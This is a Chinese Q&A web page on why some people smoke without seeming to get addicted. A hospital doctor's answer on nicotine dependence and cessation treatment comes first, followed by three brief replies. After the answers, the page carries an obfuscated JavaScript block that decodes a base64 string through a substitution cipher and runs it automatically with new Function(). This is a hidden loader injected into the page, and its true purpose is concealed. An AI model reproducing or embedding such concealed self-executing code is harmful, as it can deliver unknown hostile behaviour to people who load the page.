为什么有些人抽烟不上瘾

2025-03-15 08:45:57
推荐回答(4个)
回答1:

在烟民群体中,有这样一类人,他们似乎游离在烟民的边缘,秉持不拒绝、不戒断的态度,认为自己抽烟没有什么瘾,偶尔抽一抽也没事。这类“轻度烟民”看起来好像只是把香烟当成生活中的消遣,也不会为其所困,但深究起来,这样的观念其实是一个更危险的陷阱。

比大麻更易成瘾的物质尼古丁

尼古丁的成瘾性仅次于海洛因和可卡因,属于高度成瘾性物质,即使是偶尔吸烟者也不能幸免,95%以上的吸烟者都存在不同程度的烟草依赖,抽上香烟的第一口,就已经迈出了成瘾的第一步。实际上,虽然这类“轻度烟民”嘴上说着“没有上瘾”,但是其实已经在不知不觉中为烟瘾所困,这样的观点只能是自欺欺人。

不仅如此,吸烟量也不是判定尼古丁上瘾程度的唯一依据,尼古丁成瘾性大小存在个体差异,吸烟量小不一定烟瘾小,有不少人每天的吸烟量不大,但烟瘾却很大,尽管不是时时烟不离手,但经常需要保持一定程度的尼古丁摄入。

吸烟量不大的骗局

除尼古丁外,每支卷烟燃烧都会释放出4000多种化学物质,绝大部分对人体有害,持续吸烟的“轻度”烟民们,往往因为身体无虞而抱有侥幸心理,尽管吸烟量小,但长期、规律的吸烟,对身体的伤害只增不减。更何况吸烟带来的身体损伤因人而异,导致的也往往是潜伏期较长,发病后病情严重且难以治愈的慢性病,而这些损害要通过客观检查(如肺功能、胸部CT)才能知道,不能仅凭自己感觉没有什么不适,就认为吸烟没有对自己造成伤害。

这类所谓的“轻度”烟民还需要警惕的一个陷阱是,看起来没有瘾不代表完全不抽,每天仍然会有一定程度的烟量,并且由于这种心理的存在,平时吸烟也没有很强的控制意识,长久下来,每天的烟量不仅不会减少,反而有很大概率会因为放松警惕而增加,积少成多,很容易发展成为尼古丁重度依赖。

尽早戒烟,健康生活

除此之外,与决心戒烟并成功的烟民相比,抱着偶尔吸一吸心态的烟民朋友也往往面临着更高的风险,《中国吸烟危害健康报告》指出,吸烟者与不吸烟者相比,平均寿命约减少10年,而如果60、50、40或30岁时戒烟可分别赢得约3、6、9或10年的预期寿命,与持续吸烟者相比,戒烟者更少伴有疾病和残疾,并且戒烟过程一旦坚持,渐渐的,身体健康状况会慢慢恢复到不吸烟前的水平。

对于这类吸烟量不大或是吸烟次数不那么频繁的烟民而言,不应该把吸烟吸得少作为自己继续吸烟的理由,而是利用好自身戒烟的优势,正是因为尚未深陷其中,戒断香烟的成功率也就相应更高。这类烟民不仅有着更轻程度的心理烟瘾和生理烟瘾,树立戒烟决心也更容易,戒烟过程中更容易克服复吸的渴望。

其实无论是烟瘾轻或重,本质都已经出现了尼古丁成瘾,属于精神性障碍疾病,病灶在大脑神经,现代医学通过核磁扫描发现,烟瘾者的病灶处大脑神经已发生改变,实际功能也异于常人。许多烟民被困于尼古丁幻觉中而不自知,明知有害,却始终无法自拔,如果仅凭意志力干戒,往往不能持久,也饱受戒断反应的折磨,成功率不及5%。因此对于有戒烟意愿的烟民而言,选择科学的戒烟方法至关重要。

目前国际上普遍采用的戒烟方法包括行为干预和药物治疗,在专业医生的指导下,根据烟民的自身情况制定相应的戒烟方案,并采用科学的戒烟药物辅助治疗。《中国临床戒烟指南》推荐的三种一线戒烟药包括伐尼克兰(畅沛)、盐酸安非他酮和尼古丁替代疗法,都是有效且安全的戒烟药物,已帮助众多烟民摆脱烟瘾,重返健康。相信在正确指导和药物治疗两相结合的作用下,所有烟民都能够戒烟不痛苦,早日拥抱无烟生活!

瑞金医院特色控烟门诊链接

2009年,上海交通大学慢性气道疾病诊疗中心在瑞金医院呼吸科正式成立,同步开设控烟专病门诊,一直致力于成为公共戒烟宣传与服务的倡导者,也逐步成为上海具有专业特色的控烟门诊。2016年, 瑞金特色控烟门诊年就诊量首次突破500人次。2017年, 门诊就诊量则进一步突破1000人次。随着个体化戒烟评估和综合性戒烟方法干预,瑞金特色控烟门诊就诊人数不断增加,而接受科学化戒烟门诊治疗和随访的戒烟者戒断率超过80%,瑞金特色控烟门诊已经成为助力“无烟上海“一道靓丽的风景线。

上海交通大学医学院附属瑞金医院呼吸与危重症医学科

上海市科普作家协会医疗健康委员会控烟学组组长

上海市医学会科普专科分会青年委员

周剑平 博士

回答2:

吸烟没有瘾一般是个人体质的原因。有一类人,因为体质的原因对尼古丁不上瘾,这种体质于对尼古丁的代谢慢。尼古丁在体内存留的时间较长,想吸烟的时间间隔也相对较长。单从戒烟的角度来说,尼古丁在体内停留时间的长短影响了上瘾的轻重程度,慢代谢体质占据了优势,不容易出现长时间没烟抽就难受的现象。所以,此类人就属于小烟瘾型或无烟瘾型。吸烟的坏处包括危害自身健康、导致胎儿畸形、影响他人健康等。香烟中的有害物质,在进入人体后,会刺激呼吸系统、损害血管内膜、影响神经,从而增加患癌症的概率。注意事项:在日常生活中为了自己和他人的健康,为了创造更加健康的环境,最好不要吸烟。

回答3:

抽烟心瘾比生理上的瘾要大…
还有的装逼而已……
失恋或者很难过的时候,或者需要专心做一件事,比如打游戏打牌熬夜写论文工作的时候……就听容易上瘾……
闲着没事装装逼,一般不上瘾……
亲测,有时候总觉得抽烟的女人莫名装逼,于是自己也装装逼,抽了根本不上瘾……
当然也跟自身控制力和身体有关……

回答4:

玩玩而已!

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();